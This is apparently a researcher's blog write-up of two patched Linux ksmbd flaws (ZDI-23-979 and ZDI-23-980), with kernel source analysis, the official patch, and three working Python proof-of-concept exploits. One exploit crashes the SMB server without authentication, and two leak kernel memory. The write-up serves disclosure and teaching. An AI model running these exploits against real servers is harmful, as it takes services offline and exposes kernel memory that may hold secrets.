Unleashing ksmbd: crafting remote exploits of the Linux kernel

December 22nd 2022: it's Christmas Thursday, one of the last workdays before the Christmas vacation starts. Whilst everyone was looking forward to opening presents from friends and family, the Zero Day Initiative decided to give the IT community a present as well: immense stress in the form of ZDI-22-1690, an unauthenticated RCE vulnerability in the Linux kernel's ksmbd subsystem.

This vulnerability showed me the way to a buggy subsystem of the Linux kernel: ksmbd. Ksmbd stands for Kernel SMB Daemon which acts as an SMB server (which you may recognize from Windows) in the kernel. SMB is known in the community for the unnecessary complexity and it's resulting vulnerabilities. Imagine the reaction of the Linux developer community when ksmbd was being introduced in the kernel.

I wanted to learn more about SMB and the ksmbd subsystem so I decided to do vulnerability research in this subsystem, with results. In this write-up I will present the exploits and technical analyses behind ZDI-23-979 and ZDI-23-980: network-based unauthenticated Denial-of-Service and network-based (un)authenticated Out-of-Bounds read 64KiB.

An overview of SMB

Server Message Block is a file transfer protocol widely used by Windows OS where it can be used to access a NAS or another computer over a network. The most important features of SMB are file reads and writes, accessing directory information and doing authentication. Since the Windows OS tries to integrate SMB, SMB also has many ways of doing authentication for the Windows ecosystem: NTLMSSP, Kerberos 5, Microsoft Kerberos 5, and Kerberos 5 user-to-user (U2U). Ofcourse, the kernel also supports normal authentication like regular passwords.

To prevent extensive resource usage (like disk storage and RAM), SMB has a credit system where each command subtracts credits from the session. If the credits reach 0, the session cannot issue more commands.

N.B. A packet, request and command are different things. The same goes for a session and a connection.

An overview of the definitions of an chained SMB request packet.
An overview of the definitions of an SMB session and connection.

ZDI-23-979: NULL Pointer Dereference Denial-of-Service

ZDI-23-979 is an network-based unauthenticated NULL pointer dereference vulnerability resulting from a logic bug in the session handling of chained SMB request packets. The ksmbd subsystem only handles the session for the first request in the packet, which makes a second request in the packet use the same session instance as well. However, when the first request does not use a session, the second request does consequently not use a session either, even when it is required.

This could hypothetically result in an auth bypass since it skips the session/auth checks, but instead leads to an NULL pointer dereference since it tries to access properties of the request session.

Let's dive in the function __handle_ksmbd_workof v6.3.9, the last vulnerable kernel release. This function gets called for every packet from a connection. As you can see, the function does call __process_request for every request in the packet, but only checks the session for the first request in the packet using conn->ops->check_user_session(work) (explanation below).

static void __handle_ksmbd_work(struct ksmbd_work *work,
				struct ksmbd_conn *conn)
{
	u16 command = 0;
	int rc;

	// [snip] (initialize buffers) 

	if (conn->ops->check_user_session) {
		rc = conn->ops->check_user_session(work);

		// if rc != 0 goto send (auth failed)
		if (rc < 0) {
			command = conn->ops->get_cmd_val(work);
			conn->ops->set_rsp_status(work,
					STATUS_USER_SESSION_DELETED);
			goto send;
		} else if (rc > 0) {
			rc = conn->ops->get_ksmbd_tcon(work);
			if (rc < 0) {
				conn->ops->set_rsp_status(work,
					STATUS_NETWORK_NAME_DELETED);
				goto send;
			}
		}
	}

	do {
		rc = __process_request(work, conn, &command);
		if (rc == SERVER_HANDLER_ABORT)
			break;

	    // [snip] (set SMB credits)
	} while (is_chained_smb2_message(work));

	if (work->send_no_response)
		return;

send:
	// [snip] (send response)
}

__handle_ksmbd_work - session handling and request processing per packet.

The function conn->ops->check_user_session(work) checks if the pending request requires a session, and if it does it will check req_hdr->SessionId for existing sessions whereby req_hdr->SessionId is randomly generated during SMB login. If the session check succeeds, then work->sess = ksmbd_session_lookup_all(conn, sess_id) or if the request does not require a session, then work->sess = NULL.

int smb2_check_user_session(struct ksmbd_work *work)
{
	struct smb2_hdr *req_hdr = smb2_get_msg(work->request_buf);
	struct ksmbd_conn *conn = work->conn;
	unsigned int cmd = conn->ops->get_cmd_val(work);
	unsigned long long sess_id;

	/*
	 * SMB2_ECHO, SMB2_NEGOTIATE, SMB2_SESSION_SETUP command do not
	 * require a session id, so no need to validate user session's for
	 * these commands.
	 */
	if (cmd == SMB2_ECHO_HE || cmd == SMB2_NEGOTIATE_HE ||
	    cmd == SMB2_SESSION_SETUP_HE)
		return 0;

	// [snip] (check conn quality)

	sess_id = le64_to_cpu(req_hdr->SessionId);

	// [snip] (chained request logic that was unused)

	/* Check for validity of user session */
	work->sess = ksmbd_session_lookup_all(conn, sess_id);
	if (work->sess)
		return 1;
	
    // [snip] (invalid session handling)
}

smb2_check_user_session - codeblock of SMB validation checks.

Obviously, when the first command is i.e. SMB2_ECHO_HE and the second command is i.e. SMB2_WRITE, the work->sess variable will be NULL in smb2_write(). This will cause a dereference like work->sess->x and hence a NULL pointer derefence. Since NULL pointer dereferences panic the kernel thread, the SMB server will be taken offline while the rest of the kernel remains online. The proof-of-concept exploit for this vulnerability is as follows:

#!/usr/bin/env python3

from impacket import smb3, nmb
from pwn import p64, p32, p16, p8


def main():
    print("[*] connecting to SMB server (no login)...")

    try:
        conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
    except nmb.NetBIOSTimeout:
        print("[!] SMB server is already offline (connection timeout)")
        return

    # generate innocent SMB_ECHO request
    request_echo = smb3.SMB3Packet()
    request_echo['Command'] = smb3.SMB2_ECHO
    request_echo["Data"] = p16(4) + p16(0)
    request_echo["NextCommand"] = 64+4  # set NextCommand to indicate request chaining

    # generate innocent SMB_WRITE request
    request_write = smb3.SMB3Packet()
    request_write['Command'] = smb3.SMB2_WRITE
    request_write["Data"] = p16(49) + p16(0) + p32(0) + p64(0) + p64(0) + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0)
    request_write["TreeID"] = 0

    # chain SMB_WRITE to SMB_ECHO
    request_echo["Data"] += request_write.getData()

    print('[*] sending DoS packet...')
    conn.sendSMB(request_echo)

    print("[*] probing server health...")

    try:
        smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445, timeout=3)
        print("[!] exploit failed - server remains online")
    except nmb.NetBIOSTimeout:
        print("[+] exploit succeeded - server is now offline")


if __name__ == "__main__":
    main()

Proof-of-Concept (PoC) exploit for ZDI-23-979 written in Python code. 

The most important part of the patch is moving the session check into the chained request loop, which results into the session check being executed for each chained request in the packet, instead of just the first one.

+++ b/fs/ksmbd/server.c
@@ -184,24 +184,31 @@ static void __handle_ksmbd_work(struct k
 		goto send;
 	}
 
-	if (conn->ops->check_user_session) {
-		rc = conn->ops->check_user_session(work);
-		if (rc < 0) {
-			command = conn->ops->get_cmd_val(work);
-			conn->ops->set_rsp_status(work,
-					STATUS_USER_SESSION_DELETED);
-			goto send;
-		} else if (rc > 0) {
-			rc = conn->ops->get_ksmbd_tcon(work);
+	do {
+		if (conn->ops->check_user_session) {
+			rc = conn->ops->check_user_session(work);
 			if (rc < 0) {
-				conn->ops->set_rsp_status(work,
-					STATUS_NETWORK_NAME_DELETED);
+				if (rc == -EINVAL)
+					conn->ops->set_rsp_status(work,
+						STATUS_INVALID_PARAMETER);
+				else
+					conn->ops->set_rsp_status(work,
+						STATUS_USER_SESSION_DELETED);
 				goto send;
+			} else if (rc > 0) {
+				rc = conn->ops->get_ksmbd_tcon(work);
+				if (rc < 0) {
+					if (rc == -EINVAL)
+						conn->ops->set_rsp_status(work,
+							STATUS_INVALID_PARAMETER);
+					else
+						conn->ops->set_rsp_status(work,
+							STATUS_NETWORK_NAME_DELETED);
+					goto send;
+				}
 			}
 		}
-	}
 
-	do {
 		rc = __process_request(work, conn, &command);
 		if (rc == SERVER_HANDLER_ABORT)
 			break;
--- a/fs/ksmbd/smb2pdu.c

The official patch for ZDI-23-979.

ZDI-23-980: Out-Of-Bounds Read Information Disclosure

ZDI-23-980 is a network-based (un)authenticated out-of-bounds read in the ksmbd subsystem of the Linux kernel, which allows a user to read up to 65536 consequent bytes from kernel memory. This issue results from an buffer over-read, much like the Heartbleed vulnerability in SSL, where the request packet states that the packet content is larger than it's actual size, resulting in the parsing of the packet with a fake size.

This can be exploited by issueing an SMB_WRITE request with size N to file "dump.bin", whereby the actual request empty is smaller than N. Then, issue an SMB_READ request to download the "dump.bin" file and eventually delete "dump.bin" to remove the exploitation traces.

When I was researching this vulnerability, I also found an unauthenticated OOB read of 2 bytes using SMB_ECHO, but I figured this was less important than the authenticated OOB read of 65536 bytes due to usability (whether or not this was the right decision is up to debate ;-) ). Hence, the CVE description says it's authenticated. I will also discuss the SMB_ECHO and explain the exploitation behind that path. The 2-byte OOB read consists of issue'ing an SMB_ECHO command with the last 2 bytes of the packet not being filled in.

The underlying issue

The underlying issue leading to the OOB read is improper validation of the SMB request packet parameter smb2_hdr.NextCommand containing the offset to the next command. When NextCommand is set, the SMB server assumes that the current command/request is the size of NextCommand. Hence, when I have a packet of size N, I can set NextCommand to N+2, and it will assume the packet is N+2 bytes long. This can be seen in action in the ksmbd_smb2_check_message and smb2_calc_size functions. The function ksmbd_smb2_check_message does several assertions/validations:

hdr->StructureSize == 64
pdu->StructureSize2 == smb2_req_struct_sizes[command]  // SMB2_WRITE: 49, SMB2_ECHO: 4
hdr->NextCommand == pdu->StructureSize2 + hdr->StructureSize  // SMB_ECHO
hdr->NextCommand == hdr->DataOffset + hdr->Length  // SMB_WRITE

The assertions put onto the packet, for validation.

But it does not assert work->next_smb2_rcv_hdr_off + hdr->NextCommand <= get_rfc1002_len(work->request_buf), which is the official patch.

static int smb2_get_data_area_len(unsigned int *off, unsigned int *len,
				  struct smb2_hdr *hdr)
{
	int ret = 0;

	*off = 0;
	*len = 0;

	switch (hdr->Command) {
	// [snip] not reached
	case SMB2_WRITE:
		if (((struct smb2_write_req *)hdr)->DataOffset ||
		    ((struct smb2_write_req *)hdr)->Length) {
			*off = max_t(unsigned int,
				     le16_to_cpu(((struct smb2_write_req *)hdr)->DataOffset),
				     offsetof(struct smb2_write_req, Buffer));
			*len = le32_to_cpu(((struct smb2_write_req *)hdr)->Length);
			break;
		}

		*off = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoOffset);
		*len = le16_to_cpu(((struct smb2_write_req *)hdr)->WriteChannelInfoLength);
		break;
	// [snip] not reached
	default:
		// [snip] not reached
	}

	// [snip] return error if offset > 4096

	return ret;
}

static int smb2_calc_size(void *buf, unsigned int *len)
{
	struct smb2_pdu *pdu = (struct smb2_pdu *)buf;
	struct smb2_hdr *hdr = &pdu->hdr;
	unsigned int offset; /* the offset from the beginning of SMB to data area */
	unsigned int data_length; /* the length of the variable length data area */
	int ret;

	*len = le16_to_cpu(hdr->StructureSize);
	*len += le16_to_cpu(pdu->StructureSize2);

	if (has_smb2_data_area[le16_to_cpu(hdr->Command)] == false) {
		// SMB_ECHO will reach this
        goto calc_size_exit;
	}

	// SMB_WRITE will reach this
	ret = smb2_get_data_area_len(&offset, &data_length, hdr);
    // [snip] return error if ret < 0

	if (data_length > 0) {
		// [snip] return error when data overlaps with next cmd

		*len = offset + data_length;
	}

calc_size_exit:
	ksmbd_debug(SMB, "SMB2 len %u\n", *len);
	return 0;
}

int ksmbd_smb2_check_message(struct ksmbd_work *work)
{
	struct smb2_pdu *pdu = ksmbd_req_buf_next(work);
	struct smb2_hdr *hdr = &pdu->hdr;
	int command;
	__u32 clc_len;  /* calculated length */
	__u32 len = get_rfc1002_len(work->request_buf);

	if (le32_to_cpu(hdr->NextCommand) > 0)
		len = le32_to_cpu(hdr->NextCommand);
	else if (work->next_smb2_rcv_hdr_off)
		len -= work->next_smb2_rcv_hdr_off;

	// [snip] check flag in header

	if (hdr->StructureSize != SMB2_HEADER_STRUCTURE_SIZE) {
		// [snip] return error
	}

	command = le16_to_cpu(hdr->Command);
	// [snip] check if command is valid

	if (smb2_req_struct_sizes[command] != pdu->StructureSize2) {
		// [snip] return error (with exceptions)
	}

	if (smb2_calc_size(hdr, &clc_len)) {
		// [snip] return error (with exceptions)
	}

	if (len != clc_len) {
		// [snip] return error (with exceptions)
	}

validate_credit:
	// [snip] irrelevant credit check

	return 0;
}

The functions causing the vulnerability.

As you can see, for SMB_WRITE we can set an arbitrary packet size by setting hdr->Length and hdr->NextCommand variables to compliment each other. As per SMB_ECHO, we just need to set hdr->NextCommand to the expected value, without actually filling in smb2_echo_req->reserved:

struct smb2_echo_req {
	struct smb2_hdr hdr;
	__le16 StructureSize;	/* Must be 4 */
	__u16  Reserved;
} __packed;

The smb2_echo_req struct.

Exploitation

To leak 2 bytes using SMB_ECHO:

  1. Set smb2_echo_req->StructureSize = p16(4)
  2. Set smb2_echo_req->hdr.NextCommand = sizeof(smb2_echo_req->hdr) + smb2_echo_req->StructureSize
  3. Send request
  4. Read echo response, with the last 2 bytes being an OOB read.
#!/usr/bin/env python3

from impacket import smb3
from pwn import p64, p32, p16, p8


def main():
    print("[*] connecting to SMB server...")
    conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)

    packet = smb3.SMB3Packet()
    packet['Command'] = smb3.SMB2_ECHO
    packet["Data"] = p16(0x4)
    packet["NextCommand"] = 64+4

    print("[*] sending OOB read...")
    conn.sendSMB(packet)

    print("[*] reading response...")
    rsp = conn.recvSMB().rawData
    print(rsp)


if __name__ == "__main__":
    main()

ZDI-23-980 PoC exploit using SMB_ECHO

For the SMB_WRITE path, here's the struct and the steps:

struct smb2_write_req {
	struct smb2_hdr hdr;
	__le16 StructureSize; /* Must be 49 */
	__le16 DataOffset; /* offset from start of SMB2 header to write data */
	__le32 Length;
	__le64 Offset;
	__u64  PersistentFileId; /* opaque endianness */
	__u64  VolatileFileId; /* opaque endianness */
	__le32 Channel; /* MBZ unless SMB3.02 or later */
	__le32 RemainingBytes;
	__le16 WriteChannelInfoOffset;
	__le16 WriteChannelInfoLength;
	__le32 Flags;
	__u8   Buffer[];
} __packed;

The smb2_write_req struct.

  1. Set smb2_write_req->StructureSize = 49
  2. Set smb2_write_req->DataOffset = smb2_write_req->StructureSize + 64 to start reading the content without the packet
  3. Set smb2_write_req->Length = 65536 to write 65536 bytes from the packet to the file
  4. Set smb2_write_req->hdr.NextCommand = smb2_write_req->Length + smb2_write_req->DataOffset to spoof the request size
  5. Open a file in the SMB share in read/write mode: file_id = smb_open("dump.bin", "rw")
  6. Set smb2_write_req->PersistentFileId = file_id
  7. Send the request
  8. Read the file in the SMB share: dump = smb_read(file_id)
#!/usr/bin/env python3

from impacket import smb3
from pwn import p64, p32, p16, p8


def main(username: str, password: str, share: str, filename: str):
    print("[*] connecting to SMB server...")
    conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)

    print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
    conn.login(user=username, password=password)

    print(f"[*] connecting to tree/share: '{share}'")
    tree_id = conn.connectTree(share)

    packet = smb3.SMB3Packet()
    packet['Command'] = smb3.SMB2_WRITE

    StructureSize = 49
    DataOffset = 64 + StructureSize  # fixed packet size excl buffer
    Length = 0x10000  # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)

    # this is ugly but acquires a RW handle for the '{filename}' file containing the memory
    file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
                            creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)

    packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
    packet["TreeID"] = tree_id
    packet["NextCommand"] = DataOffset+Length  # the end of the buffer is past the end of the packet

    print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
    conn.sendSMB(packet)

    print("[*] closing file descriptors...")
    conn.close(tree_id, file_id)  # close fd's bcs impacket is impacket

    print(f"[*] reading file containing kernel memory: '{filename}'")
    conn.retrieveFile(share, filename, print)  # print file (containing kmem dump)


if __name__ == "__main__":
    main("user", "pass", "files", "dump.bin")

ZDI-23-980 PoC exploit using SMB_WRITE

Conclusion

Thank you for reading my write-up on this Linux kernel vulnerability. I hope you learned about the ksmbd kernel subsystem and that you like the write-up style.

For questions, job inquiries, and other things, please send an email to notselwyn@pwning.tech (PGP key).